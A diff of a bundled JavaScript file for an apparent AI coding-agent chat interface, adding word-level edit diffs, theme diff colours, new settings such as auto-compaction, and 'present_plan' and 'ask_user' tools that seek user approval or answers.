});
|
|
1803
|
+
i--;
|
|
1804
|
+
j--;
|
|
1805
|
+
continue;
|
|
1806
|
+
}
|
|
1807
|
+
if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
|
|
1808
|
+
pushSegment(newSegments, {
|
|
1809
|
+
text: newTokens[j - 1],
|
|
1810
|
+
changed: true
|
|
1811
|
+
});
|
|
1812
|
+
j--;
|
|
1813
|
+
continue;
|
|
1814
|
+
}
|
|
1815
|
+
pushSegment(oldSegments, {
|
|
1816
|
+
text: oldTokens[i - 1],
|
|
1817
|
+
changed: true
|
|
1818
|
+
});
|
|
1819
|
+
i--;
|
|
1820
|
+
}
|
|
1821
|
+
oldSegments.reverse();
|
|
1822
|
+
newSegments.reverse();
|
|
1823
|
+
return {
|
|
1824
|
+
oldSegments,
|
|
1825
|
+
newSegments
|
|
1826
|
+
};
|
|
1827
|
+
}
|
|
1828
|
+
/**
|
|
1829
|
+
* Coalesce adjacent same-state segments so the renderer emits one
|
|
1830
|
+
* `<span>` per run instead of one per token — keeps the React tree
|
|
1831
|
+
* shallow on dense lines without changing the visual output.
|
|
1832
|
+
*
|
|
1833
|
+
* Walking direction is reverse (we push during the reverse walk, then
|
|
1834
|
+
* the caller reverses the array), so we coalesce against the *tail*.
|
|
1835
|
+
*/
|
|
1836
|
+
function pushSegment(buf, seg) {
|
|
1837
|
+
const tail = buf[buf.length - 1];
|
|
1838
|
+
if (tail && tail.changed === seg.changed) tail.text = seg.text + tail.text;
|
|
1839
|
+
else buf.push(seg);
|
|
1840
|
+
}
|
|
1841
|
+
/**
|
|
1842
|
+
* Tokenize on word / non-word boundaries. Each run of `\w+` is one
|
|
1843
|
+
* token; each run of `\W+` (whitespace, punctuation) is another. This
|
|
1844
|
+
* gives the right granularity for renames (`oldName` → `newName`) and
|
|
1845
|
+
* for symbol swaps (`+ → -`) without exploding into per-char segments.
|
|
1846
|
+
*
|
|
1847
|
+
* Exported only for its tests.
|
|
1848
|
+
*/
|
|
1849
|
+
function tokenize(s) {
|
|
1850
|
+
if (s === "") return [];
|
|
1851
|
+
const out = [];
|
|
1852
|
+
const re = /\w+|\W+/g;
|
|
1853
|
+
let match;
|
|
1854
|
+
while ((match = re.exec(s)) !== null) out.push(match[0]);
|
|
1855
|
+
return out;
|
|
1856
|
+
}
|
|
1857
|
+
function buildUnifiedDiff(payload) {
|
|
1858
|
+
const parts = [];
|
|
1859
|
+
const isNewFile = payload.tool === "write_file" && payload.hunks[0]?.oldString === "";
|
|
1860
|
+
parts.push(isNewFile ? `--- /dev/null` : `--- a/${payload.path}`);
|
|
1861
|
+
parts.push(`+++ b/${payload.path}`);
|
|
1862
|
+
for (const hunk of payload.hunks) {
|
|
1863
|
+
const lines = computeLineDiff(hunk.oldString, hunk.newString);
|
|
1864
|
+
const oldCount = lines.filter((l) => l.op !== "add").length;
|
|
1865
|
+
const newCount = lines.filter((l) => l.op !== "remove").length;
|
|
1866
|
+
const oldStart = oldCount === 0 ? 0 : 1;
|
|
1867
|
+
const newStart = newCount === 0 ? 0 : 1;
|
|
1868
|
+
parts.push(`@@ -${oldStart},${oldCount} +${newStart},${newCount} @@`);
|
|
1869
|
+
for (const line of lines) {
|
|
1870
|
+
const prefix = line.op === "add" ? "+" : line.op === "remove" ? "-" : " ";
|
|
1871
|
+
parts.push(`${prefix}${line.text}`);
|
|
1872
|
+
}
|
|
1873
|
+
}
|
|
1874
|
+
return `${parts.join("\n")}\n`;
|
|
1875
|
+
}
|
|
1876
|
+
const FILETYPE_BY_EXT = {
|
|
1877
|
+
ts: "typescript",
|
|
1878
|
+
mts: "typescript",
|
|
1879
|
+
cts: "typescript",
|
|
1880
|
+
tsx: "tsx",
|
|
1881
|
+
js: "javascript",
|
|
1882
|
+
mjs: "javascript",
|
|
1883
|
+
cjs: "javascript",
|
|
1884
|
+
jsx: "jsx",
|
|
1885
|
+
py: "python",
|
|
1886
|
+
pyi: "python",
|
|
1887
|
+
rs: "rust",
|
|
1888
|
+
go: "go",
|
|
1889
|
+
json: "json",
|
|
1890
|
+
jsonc: "json",
|
|
1891
|
+
sh: "bash",
|
|
1892
|
+
bash: "bash",
|
|
1893
|
+
zsh: "bash",
|
|
1894
|
+
yaml: "yaml",
|
|
1895
|
+
yml: "yaml",
|
|
1896
|
+
html: "html",
|
|
1897
|
+
htm: "html",
|
|
1898
|
+
css: "css",
|
|
1899
|
+
md: "markdown",
|
|
1900
|
+
markdown: "markdown"
|
|
1901
|
+
};
|
|
1902
|
+
function filetypeFromPath(path) {
|
|
1903
|
+
const cleaned = path.split(/[?#]/, 1)[0];
|
|
1904
|
+
const lastDot = cleaned.lastIndexOf(".");
|
|
1905
|
+
if (lastDot === -1 || lastDot === cleaned.length - 1) return void 0;
|
|
1906
|
+
return FILETYPE_BY_EXT[cleaned.slice(lastDot + 1).toLowerCase()];
|
|
1907
|
+
}
|
|
1908
|
+
//#endregion
|
|
883
1909
|
//#region src/chat/store.ts
|
|
884
1910
|
function ensureStateDir(path) {
|
|
885
1911
|
const dir = dirname(path);
|
|
@@ -1084,7 +2110,20 @@ function eventsFromTurns(turns, runs = []) {
|
|
|
1084
2110
|
...tool ? { tool } : {},
|
|
1085
2111
|
...tag
|
|
1086
2112
|
});
|
|
1087
|
-
}
|
|
2113
|
+
} else if (block.type === "compact-summary") events.push({
|
|
2114
|
+
kind: "compact-summary",
|
|
2115
|
+
text: block.summary,
|
|
2116
|
+
compact: {
|
|
2117
|
+
replacedCount: block.replacesTurnIds.length,
|
|
2118
|
+
model: block.model,
|
|
2119
|
+
compactedAt: block.compactedAt,
|
|
2120
|
+
inputTokens: block.usage.input ?? 0,
|
|
2121
|
+
outputTokens: block.usage.output ?? 0,
|
|
2122
|
+
cacheReadTokens: block.usage.cacheRead ?? 0,
|
|
2123
|
+
cacheCreationTokens: block.usage.cacheCreation ?? 0
|
|
2124
|
+
},
|
|
2125
|
+
turnId: turn.id
|
|
2126
|
+
});
|
|
1088
2127
|
lastDepthAtEmission = depth;
|
|
1089
2128
|
continue;
|
|
1090
2129
|
}
|
|
@@ -1095,12 +2134,17 @@ function eventsFromTurns(turns, runs = []) {
|
|
|
1095
2134
|
streaming: false,
|
|
1096
2135
|
...tag
|
|
1097
2136
|
});
|
|
1098
|
-
else if (block.type === "tool_call")
|
|
1099
|
-
|
|
1100
|
-
|
|
1101
|
-
|
|
1102
|
-
|
|
1103
|
-
|
|
2137
|
+
else if (block.type === "tool_call") {
|
|
2138
|
+
const edit = extractEditPayload(block.name, block.input);
|
|
2139
|
+
events.push({
|
|
2140
|
+
kind: "tool",
|
|
2141
|
+
text: toolCallPreview(block.name, block.input),
|
|
2142
|
+
tool: block.name,
|
|
2143
|
+
input: block.input,
|
|
2144
|
+
...edit ? { edit } : {},
|
|
2145
|
+
...tag
|
|
2146
|
+
});
|
|
2147
|
+
}
|
|
1104
2148
|
lastDepthAtEmission = depth;
|
|
1105
2149
|
}
|
|
1106
2150
|
}
|
|
@@ -1252,6 +2296,7 @@ function resolveConfig(options) {
|
|
|
1252
2296
|
const initialPicked = resumeProvider ? pickInitial(resumeProvider, providers, initialState) : null;
|
|
1253
2297
|
const initialAgentId = resolveAgentId(agents, initialState.lastAgent, options.defaultAgent ?? "build");
|
|
1254
2298
|
if (!initialAgentId) throw new Error("resolveConfig: failed to resolve an initial agent id from a non-empty registry.");
|
|
2299
|
+
const keybindings = readKeybindings(paths.userDir);
|
|
1255
2300
|
return {
|
|
1256
2301
|
prefix,
|
|
1257
2302
|
storageDir,
|
|
@@ -1263,9 +2308,10 @@ function resolveConfig(options) {
|
|
|
1263
2308
|
stateStore,
|
|
1264
2309
|
modelsFor,
|
|
1265
2310
|
initialState,
|
|
1266
|
-
initialSettings: initialState.settings ?? {},
|
|
2311
|
+
initialSettings: migrateLegacySettings(initialState.settings ?? {}),
|
|
1267
2312
|
resumeProvider,
|
|
1268
|
-
initialPicked
|
|
2313
|
+
initialPicked,
|
|
2314
|
+
keybindings
|
|
1269
2315
|
};
|
|
1270
2316
|
}
|
|
1271
2317
|
/**
|
|
@@ -1323,6 +2369,35 @@ function userOnlyPaths(userDir) {
|
|
|
1323
2369
|
state: resolve(userDir, "state.json")
|
|
1324
2370
|
};
|
|
1325
2371
|
}
|
|
2372
|
+
/**
|
|
2373
|
+
* Migrate legacy `state.json` settings shapes forward. Pre-5.x persisted
|
|
2374
|
+
* `showToolCalls: boolean` controlled whether `↳ <tool>` lines rendered;
|
|
2375
|
+
* 5.x replaces that with a 3-way `toolCallDisplay: 'hidden' | 'formatted'
|
|
2376
|
+
* | 'full'` choice that adds a per-tool clean summary and a JSON debug
|
|
2377
|
+
* view alongside the existing "show / hide" behavior.
|
|
2378
|
+
*
|
|
2379
|
+
* Mapping (only when the new key is absent — never overwrite a user's
|
|
2380
|
+
* explicit modern choice):
|
|
2381
|
+
*
|
|
2382
|
+
* showToolCalls: true → toolCallDisplay: 'formatted'
|
|
2383
|
+
* showToolCalls: false → toolCallDisplay: 'hidden'
|
|
2384
|
+
*
|
|
2385
|
+
* The legacy key is dropped from the returned object so the in-memory
|
|
2386
|
+
* Settings shape stays clean; persisted state still carries it until
|
|
2387
|
+
* the next save overwrites the file, which is harmless (extra fields
|
|
2388
|
+
* round-trip through JSON without consequence).
|
|
2389
|
+
*/
|
|
2390
|
+
function migrateLegacySettings(loaded) {
|
|
2391
|
+
if ("showToolCalls" in loaded && !("toolCallDisplay" in loaded)) {
|
|
2392
|
+
const legacy = loaded.showToolCalls;
|
|
2393
|
+
const { showToolCalls: _, ...rest } = loaded;
|
|
2394
|
+
return {
|
|
2395
|
+
...rest,
|
|
2396
|
+
toolCallDisplay: legacy === false ? "hidden" : "formatted"
|
|
2397
|
+
};
|
|
2398
|
+
}
|
|
2399
|
+
return loaded;
|
|
2400
|
+
}
|
|
1326
2401
|
/** Tri-state parse for env-var bools — explicit `null` keeps absence from forcing a default. */
|
|
1327
2402
|
function parseEnvFlag(raw) {
|
|
1328
2403
|
if (raw === void 0) return void 0;
|
|
@@ -1541,7 +2616,15 @@ function catppuccinTheme(id, label, p) {
|
|
|
1541
2616
|
fg: p.base
|
|
1542
2617
|
}
|
|
1543
2618
|
},
|
|
1544
|
-
selection: p.surface0
|
|
2619
|
+
selection: p.surface0,
|
|
2620
|
+
diff: {
|
|
2621
|
+
addBg: p.surface0,
|
|
2622
|
+
removeBg: p.surface0,
|
|
2623
|
+
addContentBg: p.surface1,
|
|
2624
|
+
removeContentBg: p.surface1,
|
|
2625
|
+
addFg: p.green,
|
|
2626
|
+
removeFg: p.red
|
|
2627
|
+
}
|
|
1545
2628
|
},
|
|
1546
2629
|
syntax: {
|
|
1547
2630
|
"default": { fg: p.text },
|
|
@@ -1706,7 +2789,15 @@ const VAPORWAVE_THEME = {
|
|
|
1706
2789
|
fg: PALETTE.panel
|
|
1707
2790
|
}
|
|
1708
2791
|
},
|
|
1709
|
-
selection: PALETTE.surface
|
|
2792
|
+
selection: PALETTE.surface,
|
|
2793
|
+
diff: {
|
|
2794
|
+
addBg: "#1a3528",
|
|
2795
|
+
removeBg: "#3a1a23",
|
|
2796
|
+
addContentBg: "#234c39",
|
|
2797
|
+
removeContentBg: "#52232f",
|
|
2798
|
+
addFg: PALETTE.greenBright,
|
|
2799
|
+
removeFg: PALETTE.red
|
|
2800
|
+
}
|
|
1710
2801
|
},
|
|
1711
2802
|
syntax: {
|
|
1712
2803
|
"default": { fg: PALETTE.text },
|
|
@@ -1869,7 +2960,15 @@ const DEFAULT_THEME = {
|
|
|
1869
2960
|
fg: "#122f59"
|
|
1870
2961
|
}
|
|
1871
2962
|
},
|
|
1872
|
-
selection: "#142737"
|
|
2963
|
+
selection: "#142737",
|
|
2964
|
+
diff: {
|
|
2965
|
+
addBg: "#0e2218",
|
|
2966
|
+
removeBg: "#2a1414",
|
|
2967
|
+
addContentBg: "#143728",
|
|
2968
|
+
removeContentBg: "#3d1d1d",
|
|
2969
|
+
addFg: "#22c55e",
|
|
2970
|
+
removeFg: "#ef4444"
|
|
2971
|
+
}
|
|
1873
2972
|
},
|
|
1874
2973
|
syntax: {
|
|
1875
2974
|
"default": { fg: "#fefeff" },
|
|
@@ -1989,12 +3088,17 @@ function resolveTheme(id) {
|
|
|
1989
3088
|
//#region src/chat/settings-context.tsx
|
|
1990
3089
|
const DEFAULT_SETTINGS = {
|
|
1991
3090
|
showThinking: true,
|
|
1992
|
-
|
|
3091
|
+
toolCallDisplay: "formatted",
|
|
1993
3092
|
showToolResults: true,
|
|
1994
3093
|
safeMode: true,
|
|
1995
3094
|
hideSubagentOutput: true,
|
|
1996
3095
|
theme: DEFAULT_THEME.id,
|
|
1997
|
-
showAllProjects: false
|
|
3096
|
+
showAllProjects: false,
|
|
3097
|
+
resumeLastSession: true,
|
|
3098
|
+
persistToolResults: true,
|
|
3099
|
+
autoCompact: true,
|
|
3100
|
+
autoCompactThreshold: .8,
|
|
3101
|
+
showEditDiffs: true
|
|
1998
3102
|
};
|
|
1999
3103
|
const SettingsContext = createContext(null);
|
|
2000
3104
|
function SettingsProvider({ initial, onChange, children }) {
|
|
@@ -2046,11 +3150,26 @@ const SETTINGS_TOGGLES = [
|
|
|
2046
3150
|
label: "Safe mode",
|
|
2047
3151
|
description: "prompt before each tool call (unless safelisted)"
|
|
2048
3152
|
},
|
|
3153
|
+
{
|
|
3154
|
+
key: "resumeLastSession",
|
|
3155
|
+
label: "Start from last session",
|
|
3156
|
+
description: "auto-resume on launch (off = sessions list / fresh chat)"
|
|
3157
|
+
},
|
|
2049
3158
|
{
|
|
2050
3159
|
key: "hideSubagentOutput",
|
|
2051
3160
|
label: "Hide subagent output",
|
|
2052
3161
|
description: "collapse subagent runs to start/done markers"
|
|
2053
3162
|
},
|
|
3163
|
+
{
|
|
3164
|
+
key: "persistToolResults",
|
|
3165
|
+
label: "Persist large tool results",
|
|
3166
|
+
description: "write >8 KiB tool outputs to disk and inline a preview"
|
|
3167
|
+
},
|
|
3168
|
+
{
|
|
3169
|
+
key: "autoCompact",
|
|
3170
|
+
label: "Auto-compact",
|
|
3171
|
+
description: "summarize the conversation when context fills past the threshold below"
|
|
3172
|
+
},
|
|
2054
3173
|
{
|
|
2055
3174
|
key: "showAllProjects",
|
|
2056
3175
|
label: "All projects",
|
|
@@ -2062,25 +3181,69 @@ const SETTINGS_TOGGLES = [
|
|
|
2062
3181
|
description: "agent reasoning shown inline"
|
|
2063
3182
|
},
|
|
2064
3183
|
{
|
|
2065
|
-
key: "
|
|
2066
|
-
label: "Tool
|
|
2067
|
-
description: "the
|
|
3184
|
+
key: "showToolResults",
|
|
3185
|
+
label: "Tool outputs",
|
|
3186
|
+
description: "the ┃ result blocks under tool calls"
|
|
3187
|
+
},
|
|
3188
|
+
{
|
|
3189
|
+
key: "showEditDiffs",
|
|
3190
|
+
label: "Edit diffs",
|
|
3191
|
+
description: "render edit / multi_edit / write_file as a unified diff"
|
|
3192
|
+
}
|
|
3193
|
+
];
|
|
3194
|
+
const SETTINGS_CHOICES = [
|
|
3195
|
+
{
|
|
3196
|
+
key: "toolCallDisplay",
|
|
3197
|
+
label: "Tool calls display",
|
|
3198
|
+
description: "how `↳ <tool>` lines render — hidden, clean per-tool summary, or full JSON",
|
|
3199
|
+
options: [
|
|
3200
|
+
{
|
|
3201
|
+
value: "formatted",
|
|
3202
|
+
label: "Formatted"
|
|
3203
|
+
},
|
|
3204
|
+
{
|
|
3205
|
+
value: "full",
|
|
3206
|
+
label: "Full"
|
|
3207
|
+
},
|
|
3208
|
+
{
|
|
3209
|
+
value: "hidden",
|
|
3210
|
+
label: "Hidden"
|
|
3211
|
+
}
|
|
3212
|
+
]
|
|
3213
|
+
},
|
|
3214
|
+
{
|
|
3215
|
+
key: "autoCompactThreshold",
|
|
3216
|
+
label: "Auto-compact threshold",
|
|
3217
|
+
description: "fraction of the effective context window before compaction fires",
|
|
3218
|
+
options: [
|
|
3219
|
+
{
|
|
3220
|
+
value: .6,
|
|
3221
|
+
label: "60%"
|
|
3222
|
+
},
|
|
3223
|
+
{
|
|
3224
|
+
value: .7,
|
|
3225
|
+
label: "70%"
|
|
3226
|
+
},
|
|
3227
|
+
{
|
|
3228
|
+
value: .8,
|
|
3229
|
+
label: "80%"
|
|
3230
|
+
},
|
|
3231
|
+
{
|
|
3232
|
+
value: .9,
|
|
3233
|
+
label: "90%"
|
|
3234
|
+
}
|
|
3235
|
+
]
|
|
2068
3236
|
},
|
|
2069
3237
|
{
|
|
2070
|
-
key: "
|
|
2071
|
-
label: "
|
|
2072
|
-
description: "
|
|
3238
|
+
key: "theme",
|
|
3239
|
+
label: "Theme",
|
|
3240
|
+
description: "colors + markdown / syntax styles",
|
|
3241
|
+
options: Object.values(BUILTIN_THEMES).map((t) => ({
|
|
3242
|
+
value: t.id,
|
|
3243
|
+
label: t.label
|
|
3244
|
+
}))
|
|
2073
3245
|
}
|
|
2074
3246
|
];
|
|
2075
|
-
const SETTINGS_CHOICES = [{
|
|
2076
|
-
key: "theme",
|
|
2077
|
-
label: "Theme",
|
|
2078
|
-
description: "colors + markdown / syntax styles",
|
|
2079
|
-
options: Object.values(BUILTIN_THEMES).map((t) => ({
|
|
2080
|
-
value: t.id,
|
|
2081
|
-
label: t.label
|
|
2082
|
-
}))
|
|
2083
|
-
}];
|
|
2084
3247
|
//#endregion
|
|
2085
3248
|
//#region src/chat/enabled-toggle-set.ts
|
|
2086
3249
|
/**
|
|
@@ -2483,6 +3646,616 @@ function clip(text, max) {
|
|
|
2483
3646
|
return text.length > max ? `${text.slice(0, max)}…` : text;
|
|
2484
3647
|
}
|
|
2485
3648
|
//#endregion
|
|
3649
|
+
//#region src/chat/interactions.tsx
|
|
3650
|
+
const PRESENT_PLAN_TOOL = "present_plan";
|
|
3651
|
+
const ASK_USER_TOOL = "ask_user";
|
|
3652
|
+
/** True when `name` is one of the interaction tool canonical names. */
|
|
3653
|
+
function isInteractionTool(name) {
|
|
3654
|
+
return name === "present_plan" || name === "ask_user";
|
|
3655
|
+
}
|
|
3656
|
+
/**
|
|
3657
|
+
* Format an {@link InteractionResponse} as the tool_result content. JSON
|
|
3658
|
+
* keeps the envelope parseable and explicit. Empty fields are stripped so
|
|
3659
|
+
* the model doesn't waste tokens reading absent values.
|
|
3660
|
+
*/
|
|
3661
|
+
function serializeInteractionResponse(response) {
|
|
3662
|
+
if (response.kind === "plan") {
|
|
3663
|
+
const body = { decision: response.decision };
|
|
3664
|
+
if (response.comment && response.comment.trim().length > 0) body.comment = response.comment.trim();
|
|
3665
|
+
return JSON.stringify(body);
|
|
3666
|
+
}
|
|
3667
|
+
const answers = {};
|
|
3668
|
+
for (const [id, value] of Object.entries(response.answers)) if (typeof value === "string") {
|
|
3669
|
+
const trimmed = value.trim();
|
|
3670
|
+
if (trimmed.length > 0) answers[id] = trimmed;
|
|
3671
|
+
} else if (typeof value === "boolean") answers[id] = value;
|
|
3672
|
+
return JSON.stringify({ answers });
|
|
3673
|
+
}
|
|
3674
|
+
/**
|
|
3675
|
+
* Build a protocol-valid user `SessionTurn` that closes a batch of
|
|
3676
|
+
* resumed pending interactions.
|
|
3677
|
+
*
|
|
3678
|
+
* - `requests` MUST be the same list returned by
|
|
3679
|
+
* {@link pendingInteractionsFromTurns} for the session, in order.
|
|
3680
|
+
* - `responses` MUST contain an entry for every request id; throws
|
|
3681
|
+
* otherwise (caller bug — flush before all answers collected).
|
|
3682
|
+
*
|
|
3683
|
+
* Pure / total. Tested in isolation so the batching invariant doesn't
|
|
3684
|
+
* regress without the resumed-flow integration noticing.
|
|
3685
|
+
*/
|
|
3686
|
+
function buildResumedToolResultsTurn(requests, responses, options) {
|
|
3687
|
+
if (requests.length === 0) throw new Error("buildResumedToolResultsTurn: at least one request is required");
|
|
3688
|
+
const content = requests.map((req) => {
|
|
3689
|
+
const response = responses.get(req.id);
|
|
3690
|
+
if (!response) throw new Error(`buildResumedToolResultsTurn: missing response for request "${req.id}". All ${requests.length} pending interactions must be resolved before flushing.`);
|
|
3691
|
+
return {
|
|
3692
|
+
type: "tool_result",
|
|
3693
|
+
callId: req.id,
|
|
3694
|
+
output: serializeInteractionResponse(response)
|
|
3695
|
+
};
|
|
3696
|
+
});
|
|
3697
|
+
return {
|
|
3698
|
+
id: options.turnId,
|
|
3699
|
+
role: "user",
|
|
3700
|
+
content,
|
|
3701
|
+
createdAt: options.createdAt ?? Date.now(),
|
|
3702
|
+
...options.runId ? { runId: options.runId } : {}
|
|
3703
|
+
};
|
|
3704
|
+
}
|
|
3705
|
+
/**
|
|
3706
|
+
* Scan `turns` and return every interaction tool call without a matching
|
|
3707
|
+
* `tool_result`, ordered by turn appearance. Works equally for live mid-run
|
|
3708
|
+
* inspection and reload-from-disk.
|
|
3709
|
+
*
|
|
3710
|
+
* Malformed payloads (input that doesn't match the tool's schema) are
|
|
3711
|
+
* skipped silently — the call still lives in the persisted history, but
|
|
3712
|
+
* the renderer wouldn't know how to display it. The next `agent.run()` on
|
|
3713
|
+
* the session will see the orphan and synthesize an error tool_result via
|
|
3714
|
+
* the loop's normal recovery path.
|
|
3715
|
+
*/
|
|
3716
|
+
function pendingInteractionsFromTurns(turns) {
|
|
3717
|
+
const calls = [];
|
|
3718
|
+
const resultIds = /* @__PURE__ */ new Set();
|
|
3719
|
+
for (const turn of turns) for (const block of turn.content) if (block.type === "tool_call" && isInteractionTool(block.name)) calls.push({
|
|
3720
|
+
callId: block.id,
|
|
3721
|
+
tool: block.name,
|
|
3722
|
+
input: block.input,
|
|
3723
|
+
...turn.runId ? { runId: turn.runId } : {},
|
|
3724
|
+
turnId: turn.id,
|
|
3725
|
+
createdAt: turn.createdAt
|
|
3726
|
+
});
|
|
3727
|
+
else if (block.type === "tool_result") resultIds.add(block.callId);
|
|
3728
|
+
const pending = [];
|
|
3729
|
+
for (const call of calls) {
|
|
3730
|
+
if (resultIds.has(call.callId)) continue;
|
|
3731
|
+
if (call.tool === "present_plan") {
|
|
3732
|
+
const payload = parsePlanPayload(call.input);
|
|
3733
|
+
if (!payload) continue;
|
|
3734
|
+
pending.push({
|
|
3735
|
+
id: call.callId,
|
|
3736
|
+
kind: "plan",
|
|
3737
|
+
tool: PRESENT_PLAN_TOOL,
|
|
3738
|
+
payload,
|
|
3739
|
+
...call.runId ? { runId: call.runId } : {},
|
|
3740
|
+
turnId: call.turnId,
|
|
3741
|
+
createdAt: call.createdAt
|
|
3742
|
+
});
|
|
3743
|
+
} else if (call.tool === "ask_user") {
|
|
3744
|
+
const payload = parseQuestionPayload(call.input);
|
|
3745
|
+
if (!payload) continue;
|
|
3746
|
+
pending.push({
|
|
3747
|
+
id: call.callId,
|
|
3748
|
+
kind: "question",
|
|
3749
|
+
tool: ASK_USER_TOOL,
|
|
3750
|
+
payload,
|
|
3751
|
+
...call.runId ? { runId: call.runId } : {},
|
|
3752
|
+
turnId: call.turnId,
|
|
3753
|
+
createdAt: call.createdAt
|
|
3754
|
+
});
|
|
3755
|
+
}
|
|
3756
|
+
}
|
|
3757
|
+
return pending;
|
|
3758
|
+
}
|
|
3759
|
+
/**
|
|
3760
|
+
* Defensive parsers — tools validate via JSON Schema before `execute`, but
|
|
3761
|
+
* persisted turns can carry malformed input (model regressions, schema
|
|
3762
|
+
* migrations). We accept what we recognize and drop what we don't.
|
|
3763
|
+
*/
|
|
3764
|
+
function parsePlanPayload(input) {
|
|
3765
|
+
const title = typeof input.title === "string" ? input.title.trim() : "";
|
|
3766
|
+
const plan = typeof input.plan === "string" ? input.plan : "";
|
|
3767
|
+
if (!title || !plan) return null;
|
|
3768
|
+
const stepsRaw = Array.isArray(input.steps) ? input.steps : void 0;
|
|
3769
|
+
const steps = [];
|
|
3770
|
+
if (stepsRaw) for (const s of stepsRaw) {
|
|
3771
|
+
if (!s || typeof s !== "object") continue;
|
|
3772
|
+
const cast = s;
|
|
3773
|
+
if (typeof cast.id !== "string" || typeof cast.title !== "string") continue;
|
|
3774
|
+
steps.push({
|
|
3775
|
+
id: cast.id,
|
|
3776
|
+
title: cast.title,
|
|
3777
|
+
...typeof cast.description === "string" ? { description: cast.description } : {}
|
|
3778
|
+
});
|
|
3779
|
+
}
|
|
3780
|
+
return {
|
|
3781
|
+
title,
|
|
3782
|
+
plan,
|
|
3783
|
+
...steps.length > 0 ? { steps } : {}
|
|
3784
|
+
};
|
|
3785
|
+
}
|
|
3786
|
+
/**
|
|
3787
|
+
* Defensive parser for an `ask_user` request. Accepts BOTH the new
|
|
3788
|
+
* multi-question shape and the legacy single-question shape (kept so
|
|
3789
|
+
* sessions created before the multi-question rework still surface
|
|
3790
|
+
* correctly on resume).
|
|
3791
|
+
*
|
|
3792
|
+
* - New: `{ intro?, questions: [...] }`.
|
|
3793
|
+
* - Legacy: `{ question, choices?, allowComment? }` → wrapped into a
|
|
3794
|
+
* single `select` (if choices) or `textarea` (otherwise) question
|
|
3795
|
+
* keyed by the synthetic id `'answer'`.
|
|
3796
|
+
*/
|
|
3797
|
+
function parseQuestionPayload(input) {
|
|
3798
|
+
const intro = typeof input.intro === "string" && input.intro.trim().length > 0 ? input.intro : void 0;
|
|
3799
|
+
if (Array.isArray(input.questions)) {
|
|
3800
|
+
const questions = [];
|
|
3801
|
+
const seen = /* @__PURE__ */ new Set();
|
|
3802
|
+
for (const raw of input.questions) {
|
|
3803
|
+
const q = parseQuestion(raw);
|
|
3804
|
+
if (!q) continue;
|
|
3805
|
+
if (seen.has(q.id)) continue;
|
|
3806
|
+
seen.add(q.id);
|
|
3807
|
+
questions.push(q);
|
|
3808
|
+
}
|
|
3809
|
+
if (questions.length === 0) return null;
|
|
3810
|
+
return {
|
|
3811
|
+
...intro ? { intro } : {},
|
|
3812
|
+
questions
|
|
3813
|
+
};
|
|
3814
|
+
}
|
|
3815
|
+
const question = typeof input.question === "string" ? input.question.trim() : "";
|
|
3816
|
+
if (!question) return null;
|
|
3817
|
+
const choices = parseChoices(input.choices);
|
|
3818
|
+
const legacy = choices.length > 0 ? {
|
|
3819
|
+
id: "answer",
|
|
3820
|
+
prompt: question,
|
|
3821
|
+
type: "select",
|
|
3822
|
+
choices
|
|
3823
|
+
} : {
|
|
3824
|
+
id: "answer",
|
|
3825
|
+
prompt: question,
|
|
3826
|
+
type: "textarea"
|
|
3827
|
+
};
|
|
3828
|
+
return {
|
|
3829
|
+
...intro ? { intro } : {},
|
|
3830
|
+
questions: [legacy]
|
|
3831
|
+
};
|
|
3832
|
+
}
|
|
3833
|
+
function parseQuestion(raw) {
|
|
3834
|
+
if (!raw || typeof raw !== "object") return null;
|
|
3835
|
+
const cast = raw;
|
|
3836
|
+
if (typeof cast.id !== "string" || !cast.id) return null;
|
|
3837
|
+
if (typeof cast.prompt !== "string" || !cast.prompt.trim()) return null;
|
|
3838
|
+
const type = cast.type;
|
|
3839
|
+
if (type !== "text" && type !== "textarea" && type !== "select" && type !== "confirm") return null;
|
|
3840
|
+
const base = {
|
|
3841
|
+
id: cast.id,
|
|
3842
|
+
prompt: cast.prompt,
|
|
3843
|
+
...typeof cast.description === "string" ? { description: cast.description } : {},
|
|
3844
|
+
...typeof cast.required === "boolean" ? { required: cast.required } : {}
|
|
3845
|
+
};
|
|
3846
|
+
if (type === "text" || type === "textarea") return {
|
|
3847
|
+
...base,
|
|
3848
|
+
type,
|
|
3849
|
+
...typeof cast.placeholder === "string" ? { placeholder: cast.placeholder } : {},
|
|
3850
|
+
...typeof cast.default === "string" ? { default: cast.default } : {}
|
|
3851
|
+
};
|
|
3852
|
+
if (type === "select") {
|
|
3853
|
+
const choices = parseChoices(cast.choices);
|
|
3854
|
+
if (choices.length === 0) return null;
|
|
3855
|
+
return {
|
|
3856
|
+
...base,
|
|
3857
|
+
type,
|
|
3858
|
+
choices
|
|
3859
|
+
};
|
|
3860
|
+
}
|
|
3861
|
+
return {
|
|
3862
|
+
...base,
|
|
3863
|
+
type,
|
|
3864
|
+
...typeof cast.affirmLabel === "string" ? { affirmLabel: cast.affirmLabel } : {},
|
|
3865
|
+
...typeof cast.denyLabel === "string" ? { denyLabel: cast.denyLabel } : {}
|
|
3866
|
+
};
|
|
3867
|
+
}
|
|
3868
|
+
function parseChoices(raw) {
|
|
3869
|
+
if (!Array.isArray(raw)) return [];
|
|
3870
|
+
const choices = [];
|
|
3871
|
+
for (const c of raw) {
|
|
3872
|
+
if (!c || typeof c !== "object") continue;
|
|
3873
|
+
const cast = c;
|
|
3874
|
+
if (typeof cast.id !== "string" || typeof cast.label !== "string") continue;
|
|
3875
|
+
choices.push({
|
|
3876
|
+
id: cast.id,
|
|
3877
|
+
label: cast.label,
|
|
3878
|
+
...typeof cast.description === "string" ? { description: cast.description } : {}
|
|
3879
|
+
});
|
|
3880
|
+
}
|
|
3881
|
+
return choices;
|
|
3882
|
+
}
|
|
3883
|
+
/**
|
|
3884
|
+
* Create the `present_plan` and `ask_user` tools as a record, ready to
|
|
3885
|
+
* spread into `createAgent({ tools })` or composed into a {@link Preset}.
|
|
3886
|
+
*/
|
|
3887
|
+
function createInteractionTools(opts) {
|
|
3888
|
+
return {
|
|
3889
|
+
[PRESENT_PLAN_TOOL]: createPlanTool(opts),
|
|
3890
|
+
[ASK_USER_TOOL]: createQuestionTool(opts)
|
|
3891
|
+
};
|
|
3892
|
+
}
|
|
3893
|
+
const PLAN_DESCRIPTION = "Present a multi-step plan to the user for approval BEFORE executing it. Use this when you have a concrete proposal that materially changes the workspace and want explicit confirmation. The user can approve, reject, or request revisions; revisions come back as a comment alongside a `revise` decision.";
|
|
3894
|
+
